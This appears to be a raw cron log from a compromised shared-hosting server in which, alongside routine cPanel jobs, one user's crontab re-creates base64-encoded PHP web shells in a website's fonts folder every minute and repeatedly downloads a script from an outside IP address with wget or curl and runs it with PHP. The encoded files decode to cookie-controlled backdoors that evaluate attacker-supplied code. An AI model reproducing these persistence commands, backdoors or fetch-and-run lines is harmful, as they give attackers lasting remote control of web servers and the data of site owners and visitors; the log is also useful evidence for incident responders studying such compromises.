Sep 10 05:57:01 ip-184-168-122-23 CROND[13195]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:57:01 ip-184-168-122-23 CROND[13196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:58:01 ip-184-168-122-23 CROND[13286]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:58:01 ip-184-168-122-23 CROND[13289]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:58:01 ip-184-168-122-23 CROND[13288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:58:01 ip-184-168-122-23 CROND[13290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:58:01 ip-184-168-122-23 CROND[13291]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:59:01 ip-184-168-122-23 CROND[13376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:59:01 ip-184-168-122-23 CROND[13378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:59:01 ip-184-168-122-23 CROND[13379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:59:01 ip-184-168-122-23 CROND[13380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:00:01 ip-184-168-122-23 CROND[13473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 06:00:01 ip-184-168-122-23 CROND[13476]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:00:01 ip-184-168-122-23 CROND[13477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:00:01 ip-184-168-122-23 CROND[13478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:00:01 ip-184-168-122-23 CROND[13481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:00:01 ip-184-168-122-23 CROND[13483]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:00:01 ip-184-168-122-23 CROND[13485]: (root) CMD (/usr/local/cpanel/scripts/exim_tidydb > /dev/null 2>&1)
Sep 10 06:00:01 ip-184-168-122-23 CROND[13486]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 10 06:00:01 ip-184-168-122-23 CROND[13484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:00:01 ip-184-168-122-23 CROND[13488]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:01:01 ip-184-168-122-23 CROND[13626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:01:02 ip-184-168-122-23 CROND[13630]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 06:01:02 ip-184-168-122-23 CROND[13632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:01:02 ip-184-168-122-23 CROND[13628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:01:02 ip-184-168-122-23 CROND[13629]: (root) CMD (run-parts /etc/cron.hourly)
Sep 10 06:01:02 ip-184-168-122-23 CROND[13633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13629]: starting 0anacron
Sep 10 06:01:02 ip-184-168-122-23 run-parts(/etc/cron.hourly)[13648]: finished 0anacron
Sep 10 06:02:01 ip-184-168-122-23 CROND[13824]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:02:01 ip-184-168-122-23 CROND[13827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:02:01 ip-184-168-122-23 CROND[13825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:02:01 ip-184-168-122-23 CROND[13826]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:02:01 ip-184-168-122-23 CROND[13828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:03:01 ip-184-168-122-23 CROND[13959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:03:01 ip-184-168-122-23 CROND[13958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:03:01 ip-184-168-122-23 CROND[13960]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:03:01 ip-184-168-122-23 CROND[13961]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:04:01 ip-184-168-122-23 CROND[14081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:04:01 ip-184-168-122-23 CROND[14084]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:04:01 ip-184-168-122-23 CROND[14086]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:04:01 ip-184-168-122-23 CROND[14087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:04:01 ip-184-168-122-23 CROND[14088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:05:01 ip-184-168-122-23 CROND[14211]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:05:01 ip-184-168-122-23 CROND[14213]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 06:05:01 ip-184-168-122-23 CROND[14216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:05:01 ip-184-168-122-23 CROND[14214]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 06:05:01 ip-184-168-122-23 CROND[14215]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 06:05:01 ip-184-168-122-23 CROND[14218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:05:01 ip-184-168-122-23 CROND[14217]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:06:01 ip-184-168-122-23 CROND[14353]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:06:01 ip-184-168-122-23 CROND[14354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:06:01 ip-184-168-122-23 CROND[14355]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:06:01 ip-184-168-122-23 CROND[14358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:06:01 ip-184-168-122-23 CROND[14359]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:07:01 ip-184-168-122-23 CROND[14554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:07:01 ip-184-168-122-23 CROND[14558]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:07:01 ip-184-168-122-23 CROND[14557]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:07:01 ip-184-168-122-23 CROND[14559]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:08:01 ip-184-168-122-23 CROND[14710]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 06:08:01 ip-184-168-122-23 CROND[14711]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:08:01 ip-184-168-122-23 CROND[14714]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 06:08:01 ip-184-168-122-23 CROND[14713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:08:01 ip-184-168-122-23 CROND[14716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 06:09:01 ip-184-168-122-23 CROND[14833]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 10 06:09:01 ip-184-168-122-23 CROND[14835]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 06:09:01 ip-184-168-122-23 CROND[14838]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 06:09:01 ip-184-168-122-23 CROND[14837]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
